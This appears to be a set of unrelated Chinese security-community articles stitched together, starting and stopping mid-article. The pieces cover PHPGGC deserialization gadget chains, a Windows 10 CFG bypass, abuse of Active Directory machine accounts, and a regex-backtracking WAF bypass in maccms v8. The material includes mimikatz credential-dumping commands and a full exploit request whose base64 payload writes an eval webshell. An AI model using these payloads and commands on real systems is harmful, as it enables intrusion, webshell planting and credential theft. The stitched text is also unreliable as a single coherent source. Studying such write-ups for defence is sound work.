通过测试，我们发现了，如果将反序列化后的对象带入class_exists()方法中，同样会造成__toString的执行：
**2\. 猜想——对象处理过程可能出现的威胁**
通过class_exists可能触发的危险操作，继续向下想一下，是否在对象处理过程中也有可能存在漏洞呢？
还记的去年爆出了一个[PHP
GC算法和反序列化机制释放后重用漏洞](https://bugs.php.net/bug.php?id=72433)，是垃圾回收机制本身所出现的问题，在释放与重用的过程中存在的问题。
顺着这个思路，大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。
**0x06 PHPggc**
在0x04的第二节中，我们提到了cms在引用某些依赖库时，可能存在（反）序列化漏洞。那么是否有工具可以生成这些通用型漏洞的测试向量呢？
当然是存在的。在github上我们找到了[PHPggc](https://github.com/ambionics/phpggc)这个工具，它可以快速的生成主流框架的序列化测试向量。
关于该测试框架的一点简单的分析
**1\. 目录结构**
目录结构为下：
|- phpggc
|-- gadgetchains // 相应框架存在漏洞的类以及漏洞利用代码
|-- lib // 框架调度及核心代码
|-- phpggc // 入口
|-- README.md
**2\. 框架运行流程**
首先，入口文件为phpggc，直接跟进lib/PHPGGC.php框架核心文件。
在__construct中完成了当前文件完整路径的获取，以及定义自动加载函数，以实现对于下面的类的实例化操作。
关键的操作为：
$this->gadgets = $this->get_gadget_chains();
可以跟进代码看一看，其完成了对于所有payload的加载及保存，将所有的payload进行实例化，并保存在一个全局数组中，以方便调用。
可以动态跟进，看一下：
public function get_gadget_chains()
{
$this->include_gadget_chains();
$classes = get_declared_classes();
$classes = array_filter($classes, function($class)
{
return is_subclass_of($class, '\PHPGGC\GadgetChain') &&
strpos($class, 'GadgetChain\') === 0;
});
$objects = array_map(function($class)
{
return new $class();
}, $classes);
# Convert backslashes in classes names to forward slashes,
# so that the command line is easier to use
$classes = array_map(function($class)
{
return strtolower(str_replace('\', '/', $class));
}, $classes);
return array_combine($classes, $objects);
}
跟进include_gadget_chains方法中看一下：
protected function include_gadget_chains()
{
$base = $this->base . self::DIR_GADGETCHAINS;
$files = glob($base . '/*/*/*/chain.php');
array_map(function ($file)
{
include_once $file;
}, $files);
}
在这边首先获取到当前路径，之后从根目录将其下子目录中的所有chain.php遍历一下，将其路劲存储到$files数组中。接着将数组中的所有chain.php包含一遍，保证之后的调用。
回到get_gadget_chains接着向下看，将返回所有已定义类的名字所组成的数组，将其定义为$classes，接着将是PHPGGCGadgetChain子类的类，全部筛选出来（也就是将所有的payload筛选出来），并将其实例化，在其完成格式化后，返回一个由其名与实例化后的类所组成的键值数组。
到此，完成了最基本框架加载与类的实例化准备。
跟着运行流程，看到generate方法：
public function generate()
{
global $argv;
$parameters = $this->parse_cmdline($argv);
if(count($parameters) < 1)
{
$this->help();
return;
}
$class = array_shift($parameters);
$gc = $this->get_gadget_chain($class);
$parameters = $this->get_type_parameters($gc, $parameters);
$generated = $this->serialize($gc, $parameters);
print($generated . "n");
}
代码很简单，一步一步跟着看，首先parse_cmdline完成了对于所选模块及附加参数的解析。
接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。
举个例子，比如我们输入如下：
$ ./phpggc monolog/rce1 'phpinfo();'
当前的$class为monolog/rce1，看到接下来进入了get_gadget_chain方法中，带着我们参数跟进去看。
public function get_gadget_chain($class)
{
$full = strtolower('GadgetChain/' . $class);
if(!in_array($full, array_keys($this->gadgets)))
{
throw new PHPGGCException('Unknown gadget chain: ' . $class);
}
return $this->gadgets[$full];
}
现在的$full为gadgetchain/monolog/rce1，ok，看一下我们全局存储的具有payload的数组：
可以很清楚的看到，返回了一个已经实例化完成的GadgetChainMonologRCE1的类。对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php
继续向下，看到将类与参数传入了get_type_parameters，跟进：
protected function get_type_parameters($gc, $parameters)
{
$arguments = $gc->parameters;
$values = @array_combine($arguments, $parameters);
if($values === false)
{
$this->o($gc, 2);
$arguments = array_map(function ($a) {
return '<' . $a . '>';
}, $arguments);
$message = 'Invalid arguments for type "' . $gc->type . '" ' . "n" .
$this->_get_command_line($gc->get_name(), ...$arguments);
throw new PHPGGCException($message);
}
return $values;
}
其完成的操作对你想要执行或者写入的代码进行装配，即code标志位与你输入的RCE代码进行键值匹配。若未填写代码，则返回错误，成功则返回相应的数组以便进行payload的序列化。
看完了这个模块后，再看我们最后的一个模块：将RCE代码进行序列化，完成payload的生成：
public function serialize($gc, $parameters)
{
$gc->load_gadgets();
$parameters = $gc->pre_process($parameters);
$payload = $gc->generate($parameters);
$payload = $this->wrap($payload);
$serialized = serialize($payload);
$serialized = $gc->post_process($serialized);
$serialized = $this->apply_filters($serialized);
return $serialized;
}
**0x07 结语**
关于PHP（反）序列化漏洞的触发和利用所涉及的东西还有很多，本文只是做一个概括性的描述，抛砖引玉，如有不精确的地方，望大家给予更正。
**0x08 参考资料**
[Practical PHP Object
Injection](https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf)
[SugarCRM 6.5.23 – REST PHP Object
Injection漏洞分析](http://bobao.360.cn/learning/detail/3020.html)
[CVE-2016-7124](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7124)
[PHPGGC](https://github.com/ambionics/phpggc)
[关于PHP中的自动加载类](http://lucifaer.com/index.php/archives/17/)
[Phith0n小密圈的主题](http://t.xiaomiquan.com/zJ6Y7Mf) | 社区文章 |
# 【技术分享】绕过Windows 10的CFG机制（part 1）
|
##### 译文声明
本文是翻译文章，文章来源：improsec.com
原文地址：<https://improsec.com/blog//bypassing-control-flow-guard-in-windows-10>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：170RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
传送门：[](http://bobao.360.cn/learning/detail/3457.html)[绕过Windows
10的CFG机制（part2）](http://bobao.360.cn/learning/detail/3457.html)
**0x00 前言**
本文是2016年7月一些研究的结果，但是直到现在才能发布。在6月，Theori发布了一篇博文关于IE的漏洞MS16-063，他们写的利用是针对Windows7上IE
11版本，并且他们认为因为Windows 10 的CFG机制无法在Windows 10利用。本文描述了我如何在Windows
10利用，并绕过CFG，事实我还发现了另一种方法，会在将来发布。
**0x01 理解CFG**
控制流保护（CFG）是微软在Windows 8.1 update 3和Windows
10中实现的缓解措施，用来保护汇编级别的非直接调用。趋势已经公布了Windows 10上面关于CFG的很好的[分析文章](http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf)。已经有集中公布的绕过CFG的方法，但是这些方法主要的目标是CFG实现算法，但是我想从这个功能的弱点入手。因为Theori在他们博文中写的Windows
7上面的利用因为CFG的存在无法有效工作，让我们看下为什么并试图绕过它。
来自Theori的[利用代码](https://github.com/theori-io/jscript9-typedarray/blob/master/exploit/jscript_win7.html)在Windows
10的IE中直接覆盖了虚函数表。因此问题是我们如何利用任意读写来绕过CFG。根据趋势的研究，CFG被函数LdrValidateUserCallTarget调用来验证一个函数的调用是否用了非直接调用：
加载到EDX中的指针是验证位图的基本指针，在这种情况下是：
然后，被验证的函数将其地址加载到ECX中，如果kernel32！VirtualProtectStub作为示例，则在这种情况下的地址是：
然后地址右移8位，用于装入保存该地址有效位的DWORD值，在这种情况下：
然后函数地址右移3位，并执行位测试，这本质上对位移地址进行模数0x20操作，然后是验证位图的DWORD中检查的位，因此在这种情况下：
因此相关位在偏移0x14处：
这意味着它是可靠的。因此VirtualProtect的调用地址是可靠的，然而这没有真的解决问题，它的参数也必须由攻击者提供。正常情况应该是用ROP链，但是任何不是从函数开始的字节都是无效的。因此解决方案是找到一个函数在被调用的地方的参数是可以控制的，并且函数的功能可以给攻击者利用。这需要在利用中非常仔细。
**0x02 在Windows 10中利用**
在Theori提供的利用，代码是通过stack
pivot小配件覆盖TypedArray的虚函数表，因此这个没有其他可能了，研究TypedArray提供的函数是值得的，发现下面两个函数比较有用：
他们的偏移是0x7c和0x188，他们能从javascript代码中直接调用，并且HasItem有个可以控制的参数，同时Subarray有两个用户可控制的参数。然而问题是它们都不返回除布尔值之外的任何数据。此外，所选择的函数必须采用相同数量的参数，否则堆栈不平衡将会引发异常。我搜索的API应该暴露一个指针能用来覆盖返回地址，以便可以绕过CFG。
我定位的可用的API是RtlCaptureContext，由kernel32.dll、kernelbase.dll和ntdll.dll导出，这个API有一个指向CONTEXT结构的参数：
CONTEXT结构储存了转储的所有的寄存器（包括ESP），而且输入值仅仅是一个缓冲区的指针。看一下TypedArray对象的内存布局：
第一个DWORD值是虚函数表指针，能够被覆盖创建一个假的虚函数表，在偏移0x7c处存储API
RtlCaptureContext的地址，同时偏移0x20是TypedArray指向的真实数据的指针：
因为泄漏这个缓冲区的地址也是可能的，它能提供RtlCaptureContext的参数。为了完成夹的虚函数表，不得不创建一个指针指向偏移0x7c处的ntdll!RtlCaptureContext，这意味着泄露了RtlCaptureContext的地址，继而意味这泄露了ntdll.dll的地址。执行此操作的默认路径是使用vtable的地址，它是一个指向jscript9.dll的指针：
从这个指针往回0x1000个字节，搜索MZ头，继而查找到指向kernelbase.dll的导入表。做同样的操作能偶获得kernelbase.dll的基址，然后再获得ntdll.dll的导入表指针并再次获得其基址，然后从导出函数中找到RtlCaptureContext。尽管这个方法是可靠的但是有个缺陷，如果在系统中装了EMET，将触发来自jscript9.dll的代码的崩溃，因为从PE头或导出表读取数据不被允许，为了绕过EMET我使用了一个不同的技术。记住每一个非直接调用都被CFG保护，因为jscript9.dll的函数被CFG保护了，所以不能调用直接指向ntdll的函数。一个在虚表中偏移0x10的函数如下：
用原始读操作，指向ntdll.dll的指针能通过以下函数找到：
通过ntdll.dll的指针得到RtlCaptureContext的地址，不通过读取导出表而是使用搜索特征和哈希找到并读取。RtlCaptureContext看起来如下：
前0x30字节总是相同的并且很特殊，因此可以用哈希碰撞找到函数地址：
函数可以使用指向ntdll.dll的指针作为参数。
把上面的都整合到一起：
从这偏移0x200包含了RtlCaptureContext的结果，看起来如下：
从上面可以清楚地看出堆栈指针已经泄漏，现在找到一个能控制执行的地址是个问题。看下栈顶显示：
那就是当前函数的返回地址，这个地址位于与RtlCaptureContext信息中的偏移0x9C处的泄漏指针相距0x40字节的偏移处。运气好，这个偏移对于其他简单函数将是相同的，所以应该可以写入并使其覆盖其自己的返回地址，从而绕过CFG。
利用补充如下：
运行时显示EIP控制：
而且，在偏移0x40和0x44的写入现在位于栈顶，允许创建一个stack pivot和ROP链，一种方法是用POP EAX接着XCHG EAX，ESP。
**0x03 微软缓解措施**
Microsoft已经声明，堆栈上的损坏返回地来绕过CFG是一个已知的设计限制，因此无法修复或领取任何种类的赏金，如下所示：
正如那个所说，微软做了两个事情来缓解这个技术，首先在未来的Windows
10版本中，RFG将被实现，阻止堆栈损坏以给予执行控制的方式。另一个是在Windows
10的周年版发布中引入敏感的API的介绍，它仅保护微软Edge，但是上述情况无法保护，但是他能阻止微软Edge中的RtlCaptureContext。Poc代码可以在这找到：[https://github.com/MortenSchenk/RtlCaptureContext-CFG-Bypass](https://github.com/MortenSchenk/RtlCaptureContext-CFG-Bypass)。
传送门：[绕过Windows 10的CFG机制（part2）](http://bobao.360.cn/learning/detail/3457.html)
[](http://bobao.360.cn/learning/detail/3457.html) | 社区文章 |
# Windows域中特殊的用户-计算机对象攻防
##### 译文声明
本文是翻译文章，文章原作者 galaxylab，文章来源：galaxylab.com.cn
原文地址：<https://galaxylab.com.cn/windows%E5%9F%9F%E4%B8%AD%E7%89%B9%E6%AE%8A%E7%9A%84%E7%94%A8%E6%88%B7-%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AF%B9%E8%B1%A1%E6%94%BB%E9%98%B2/>
译文仅供参考，具体内容表达以及含义原文为准。
当普通的计算机加入域中时，使用ADExplorer查看该计算机的属性：
可以看到属性中包含了该计算机的名字($结尾)，创建者的sid，最后密码设置时间，说明在计算机加入域的过程中，windows域为其创建了密码，用于建立与域控之间的安全通道。
如果我们拿到一台域内计算机，并没有域账号登录，此时可以切换到system权限，klist
可以看到已经有票证在里边，这里其实就是利用的计算机对象的票证，我们可以利用该票证查看域内的管理员，域控，域用户等等信息。
如何查看计算机对象的密码呢，可以借助mimikatz，有两种查看方式：
privilege::debug
sekurlsa::logonPasswords
或者
privilege::debug
token::elevate
lsadump::secrets
可以看到计算机对象的密码是120个字符，240字节，有时候密码包含不可见字符，会以十六进制形式显示，类似于如下所示：
有时候虚拟机中的计算机切换到以前快照，由于当前计算机密码和域控中保存的密码不一致导致建立安全通道失败
解决的方法大致分为以下几种：
1. 重新加入域
2. 修改及计算机对象密码，使计算机对象密码与域控中保存的密码相同。
第一种方法可能导致计算机中数据丢失，下边介绍第二种方法，修改计算机对象的密码。
官方提供修改计算机对象密码的工具有两种：
reset-ComputerMachinePassword
nltest /sc_change_pwd:galaxy.local
以上两种工具只能在已建立安全通道的情况下修改密码且只能修改随机密码，密码用户不能指定。
分析nltest，发现最后调用了netlogon服务，具体地，就是调用了c:\\\windows\system32\netlogon.dll的NlChangePassword函数。
通过调用函数NlGenerateRandomBits产生随机密码，因为netlogon服务在lsass进程中，我们使用windbg进行双机调试，在RtlUnicodeString上下断点，修改SourceString内存值为我们想要的密码，比如这里为120个a：
成功修改客户机与域控中计算机对象密码为120个a。
下边介绍计算机对象在域渗透中的应用：
1. 维持权限，隐藏后门
默认情况下，计算机对象的密码每30天修改一次，但这是客户端自己设置的，并不受域控影响，我们可以设置计算机对象一直不修改密码
修改DisablePasswordChange为1可以禁止计算机自己修改密码，修改MaximumPasswordAge可以更改默认更新密码的间隔。
这样下次我们想登陆进来的时候可以直接用计算机对象的密码创建白银票据登陆系统：
2. 提权到域控
如果计算机对象在一些高权限的组，那么就可以获取该组的权限。
比如如下计算机test1在域管理员
那么我们就可以hash传递，使用test1的身份获取访问域控的权限。
这个常用在对邮箱服务器的攻击上，因为邮箱服务器默认属于Exchange Trusted
Subsystem组，对整个域具有写DACL的权限，默认可以拿到域控的权限。
3. 利用计算机创建者身份
使用普通域用户test将test1计算机加入域，查看test1的属性，mS-DS-CreatorSID可以看到创建者的sid：
查看test1计算机的DACL：
可以看到多了重置密码的权限（更改密码需要原来的密码才能更改，比较鸡肋，重置密码可以在不知道原来密码的情况下重置密码）。如果我们拿到了test用户的权限，就可以使用重置密码的权限重置test1计算机的密码，如果test1在高权限的组中，可以完全获得该组的权限（见情况2）
注意：此处重置的是域控中的计算机对象的密码，并没有重置客户端密码，这会导致信任关系失败。
使用以下命令可以重置计算机对象的密码为特定值：
Set-ADAccountPassword test1$ –NewPassword (ConvertTo-SecureString -AsPlainText
–String
“aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”
-force)
4. 打印机漏洞
微软的spoolsv.exe注册了一个服务和若干个rpc。允许认证用户远程调用，其中RemoteFindFirstPrinterChangeNotificationEx这个函数运行传进一个unc路径，打印机服务就会去请求该unc路径。由于打印机是以system权限运行的（打印机spooler服务运行在system权限下），所以我们访问打印机rpc，迫使打印机服务向我们发起请求拿到的net-ntlm
hash是机器用户hash。这样我们就拿到了使任意计算机（域控、邮件服务器对象）向任意机器发起SMB认证的权限。如果我们控制了一台无约束委派的计算机，就可以实现完全控制整个域的目的。
5. CVE-2018-8581
这个漏洞最终可以实现邮箱服务器对象向任意用户发起基于HTTP的NTLM认证，由于HTTP到LDAP可以实现中间人攻击，我们可以中继到域控，利用邮箱服务器的writeDACL特性，可以同步域内用户hash。
## 参考资料：
[https://adsecurity.org/?p=2753](https://galaxylab.com.cn/go/?url=https://adsecurity.org/?p=2753)
[https://adsecurity.org/?p=280](https://galaxylab.com.cn/go/?url=https://adsecurity.org/?p=280)
[https://adsecurity.org/?p=2011](https://galaxylab.com.cn/go/?url=https://adsecurity.org/?p=2011)
[https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts](https://galaxylab.com.cn/go/?url=https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts)
[https://blog.netspi.com/machineaccountquota-is-useful-sometimes/](https://galaxylab.com.cn/go/?url=https://blog.netspi.com/machineaccountquota-is-useful-sometimes/)
本文由 Galaxy Lab 作者：[杨明强](https://galaxylab.com.cn/author/56/) 发表，其版权均为 Galaxy
Lab 所有，文章内容系作者个人观点，不代表 Galaxy Lab 对观点赞同或支持。如需转载，请注明文章来源。 | 社区文章 |
## 0x01 写在前面
偶然间看到了这个漏洞，利用 80w 长度的垃圾字符填充，使正则回溯次数超过一定限度，导致绕过了360 模块的防御，本文主要介绍了正则回溯以及maccms
v8 80w 字符RCE的详细分析。
## 0x02 正则回溯
### 1、正则引擎
“正则回溯”中的“正则”我们都很熟悉，但是什么是回溯呢？
说回溯前，要先谈一谈正则表达式的引擎，正则引擎主要可以分为基本不同的两大类：一种是DFA（确定型有穷自动机），另一种是NFA（不确定型有穷自动机），NFA
对应的是 **正则表达式** 主导的匹配，而 DFA 对应的是 **文本主导** 的匹配。
目前使用DFA引擎的程序主要有：`awk`,`egrep`,`flex`,`lex`,`MySQL`,`Procmail`等；
使用传统型NFA引擎的程序主要有：`GNU Emacs`,`Java`,`ergp`,`less`,`more`,`.NET`,`,PCRE
library`,`Perl`,`PHP`,`Python`,`Ruby`,`sed`,`vi`；
DFA在 **线性时**
状态下执行，不要求回溯，并且其从匹配文本入手，从左到右，每个字符不会匹配两次，所以通常情况下，它的速度更快，但支持的特性很少，不支持捕获组、各种引用。
NFA则是从正则表达式入手，并且不断读入字符，尝试是否匹配当前正则，不匹配则吐出字符重新尝试，在最坏情况下，它的执行速度可能非常慢，但NFA支持更多的特性，因而绝大多数编程场景下，比如
PHP、Java，python 等，使用的都是NFA。
对于 DFA 举例如下：
引擎在扫码当前文本的时候，会记录当前有效的所有匹配可能。当引擎移动到文本的 t 时，它会在当前处理的匹配可能中添加一个潜在的可能：
接下来扫描的每个字符，都会更新当前的可能匹配序列。例如扫码到匹配文本的 J 时，有效的可能匹配变成了2个，Rose被淘汰出局。
扫描到匹配文本的 e 时，Jack也被淘汰出局，此时就只剩一个可能的匹配了。当完成后续的rry的匹配时，整个匹配完成。
对于 NFA 举例如下：
在解析器眼中DEF有四个数字位置，如下图：
对于正则表达式而言所有源字符串，都有字符和位置，且正则表达式会从0号位置逐个去匹配。
我们令匹配成功为“取得控制权”；
当正则为`DEF`时，过程如下：
首先由正则表达式字符 `D` 取得控制权，从位置`0`开始匹配，由`D` 来匹配`D`，匹配成功，控制权交给字符 `E` ；由于`D`已被 `D`
匹配，所以 `E` 从位置`1`开始尝试匹配，由`E` 来匹配`E`，匹配成功，控制权交给 `F`；由`F`来匹配`F`，匹配成功。
当正则为`/D\w+F/`时，过程如下：
首先由正则表达式字符`/D/` 取得控制权，从位置`0`开始匹配，由 `/D/` 来匹配`D`，匹配成功，控制权交给字符`/\w+/`
；由于`D`已被`/D/`匹配，所以 `/\w+/`
从位置`1`开始尝试匹配，`\w+`贪婪模式，会记录一个备选状态，默认会匹配最长字符，直接匹配到`EF`，并且匹配成功，当前位置为`3`。并且把控制权交给
`/F/` ；由 `/F/` 匹配失败，`\w+`匹配会回溯一位，当前位置变成`2`。并把控制权交给`/F/`，由`/F/`匹配字符F成功。
由上面可以知道，对于 DFA 而言，不管正则表达式怎么样，文本的匹配过程是一致的，都是对文本的字符依次从左到右进行匹配，NFA
对于不同但效果相同的正则表达式，匹配过程是完全不同的。
### 2、回溯
回到正题，现在来谈回溯。
假设字符串及其位置如下：
与上文相同，令匹配成功为“取得控制权”，如果正则表达式为：`/.*?b/`
那么匹配过程如下：`.*?`首先取得控制权, 假设该匹配为非贪婪模式, 所以优先不匹配, 将控制权交给下一个匹配字符`b`，
`b`在源字符串位置1匹配失败`a`, 于是回溯, 将控制权交回给`.*?`，这个时候,
`.*?`匹配一个字符`a`，并再次将控制权交给`b`，这样一个过程，被称之为 **回溯** ， 如此反复，最终得到匹配结果，
这个过程中一共发生了3次回溯。
### 3、正则回溯
在PHP的pcre扩展中，配置选项如下表所示：
名字 | 默认 | 可修改范围 | 更新日志
---|---|---|---
[pcre.backtrack_limit](https://www.php.net/manual/zh/pcre.configuration.php#ini.pcre.backtrack-limit) | "100000" | PHP_INI_ALL | php 5.2.0 起可用。
[pcre.recursion_limit](https://www.php.net/manual/zh/pcre.configuration.php#ini.pcre.recursion-limit) | "100000" | PHP_INI_ALL | php 5.2.0 起可用。
[pcre.jit](https://www.php.net/manual/zh/pcre.configuration.php#ini.pcre.jit)
| "1" | PHP_INI_ALL | PHP 7.0.0 起可用
* pcre.backtrack_limit：PCRE的最大回溯数限制
* pcre.recursion_limit：PCRE的最大递归数限制
如上表所示，默认的`backtarck_limit`是100000。
我们定义一个正则：`/UNION.+?SELECT/is`
同时要检测的文本如下：`UNION/*panda*/SELECT`
流程大致如下，
* 首先匹配到`UNION`
* `.+?`匹配到`/`
* 非贪婪模式，`.+?`停止向后匹配，由`S`匹配`*`
* `S`匹配`*`失败， **第一次回溯** ，再由`.+?`匹配`*`
* 非贪婪模式，`.+?`停止向后匹配，再由`S`匹配`p`
* `S`匹配`p`失败， **第二次回溯** ，再由`.+?`匹配`p`
* 非贪婪模式，`.+?`停止向后匹配，再由`S`匹配`a`
* `S`匹配`a`失败， **第三次回溯** ，再由`.+?`匹配`a`
* 非贪婪模式，`.+?`停止向后匹配，再由`S`匹配`n`
* `S`匹配`n`失败， **第四次回溯** ，再由`.+?`匹配`n`
* 非贪婪模式，`.+?`停止向后匹配，再由`S`匹配`d`
* `S`匹配`d`失败， **第五次回溯** ，再由`.+?`匹配`a`
* 非贪婪模式，`.+?`停止向后匹配，再由`S`匹配`S`
* `S`匹配`S`匹配成功，继续向后，直至`SELECT`匹配`SELECT`成功
从上面可以看出，回溯的次数是我们可以控制的，当我们在`/**/`之间写入的内容越多，那么回溯的次数也就越多，假定我们传入的字符串很多，导致回溯次数超过了`pcre.backtrack_limit`的限制，那么就可能绕过这个正则表达式，从而导致绕过
waf 之类的限制。
这个问题其实在2007年的时候就有人向官网提出过：
但官网采取的整改如下：
其实python 中也存在着“limit”，但是官网解释如下：
可能没有足够的内存来构造那么大的字符串 —— so ~
## 0x03 maccms v8 80w 字符RCE
根据漏洞的 payload ：
POST /index.php?m=vod-search HTTP/1.1
Host: xxx.xxx.xxx.xx
Content-Length: 500137
Cache-Control: max-age=0
Origin: xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: xxx.xxx.xxx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_ff7f6fcad4e6116760e7b632f9614dc2=1574418087,1574670614,1574673402,1575271439; Hm_lvt_137ae1af30761db81edff2e16f0bf0f8=1574418087,1574670615,1574673402,1575275889; pgv_pvi=8322096128; PHPSESSID=pr37r8fkshd854f8fnfep4ov53; adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; admincheck=2afdbd385cb6c2af162e6733f1b0e2d2
Connection: close
wd=union(80w个a){if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
进入 `index.php`查看相关参数：
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P['module'] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';
}
else{
showErr('System','未找到指定系统模块');
}
unset($par);
unset($acs);
$tpl->ifex();
确定漏洞文件在`/inc/module/vod.php`中的 search 模块，其核心内容如下：
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd"));
$wd = chkSql($wd);
if(!empty($wd)){
$tpl->P["wd"] = $wd;
}
.....
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();
$tpl->pageshow();
be 函数主要内容如下：
function be($mode,$key,$sp=',')
{
ini_set("magic_quotes_runtime", 0);
$magicq= get_magic_quotes_gpc();
switch($mode)
{
case 'post':
$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
break;
case 'get':
$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
break;
case 'arr':
$arr =isset($_POST[$key]) ? $_POST[$key] : '';
if($arr==""){
$value="0";
}
else{
for($i=0;$i<count($arr);$i++){
$res=implode($sp,$arr);
}
}
break;
default:
$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
break;
}
return $res;
}
主要是对GET，POST，REQUEST接收到的参数进行addslashes的转义处理，回到`vod.php`页面，在经过
Be函数处理后，再进行字符串两侧空白字符移除处理，最终传入 `chkSql()`进行 360 waf 的SQL 检测模块，其函数主要内容如下：
function chkSql($s)
{
global $getfilter,$postfilter;
if(empty($s)){
return "";
}
$s = htmlspecialchars(urldecode(trim($s)));
StopAttack(1,$s,$getfilter);
StopAttack(1,$s,$postfilter);
return $s;
}
将urldecode 解码后的一些预定义的字符转换为HTML实体，再传入`StopAttack()`函数，该函数主要内容如下：
function chkShow()
{
$errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\"><br>您的提交带有不合法参数,谢谢合作!<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
print $errmsg;
exit();
}
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{
$StrFiltValue=arr_foreach($StrFiltValue);
$StrFiltValue=urldecode($StrFiltValue);
if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
chkShow();
}
if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
chkShow();
}
}
对传入进的字符，进行正则匹配，正则如下：
<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|SELECT|UPDATE|_get|_post|_request|_cookie|_server|eval|assert|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc_|preg_|call_|ini_|php|\\{|\\}|\\(|\\\|\\)
主要问题在这一句：
UNION([\s\S]*?)SELECT
`([\s\S]*?)`——匹配所有字符，且只匹配一次
但是这句话中开起来非贪婪模式，导致这段正则不断回溯，如我定义一个文本为：`UNION(panda)SELECT`
其匹配过程大致如下：
* 首先匹配到`UNION`
* 进入子表达式检测，`[\s\S]*?`，匹配所有字符
* 懒惰模式，`*?`停止向后匹配，所以直接由`S`匹配`（`
* `S`匹配`（`失败， **第一次回溯** ，再由`*?`匹配`p`
* 懒惰模式，`*?`停止向后匹配，再由`S`匹配`a`
* `S`匹配`a`， **第二次回溯** ，再由`*?`匹配`a`
* 懒惰模式，`*?`停止向后匹配，再由`S`匹配`n`
* ... （以此类推）
* 最终由`S`匹配到`S`后，结束回溯
该过程动画如下：
所以在这里，我们就可以利用最大匹配的次数，来绕过`preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1`的判断，因为超过最大匹配次数后，其返回的结果并不为
1，而是`false`。
这样一来，我们就绕过了360 waf 防御模块的 `chkSql()`函数检测，也就是说目前这个wd 参数我们是可控的。
回到`index.php`页面，发现加载完模块后，进入了`$tpl->ifex();`函数，跟进发现其核心代码如下：
function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
...
try{
if (strpos(",".$strThen,$labelRule2)>0){
...
$ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
if(!$elseifFlag){
...
@eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
...
if(!$elseifFlag){
...
@eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
...
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){
...
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
...
else{
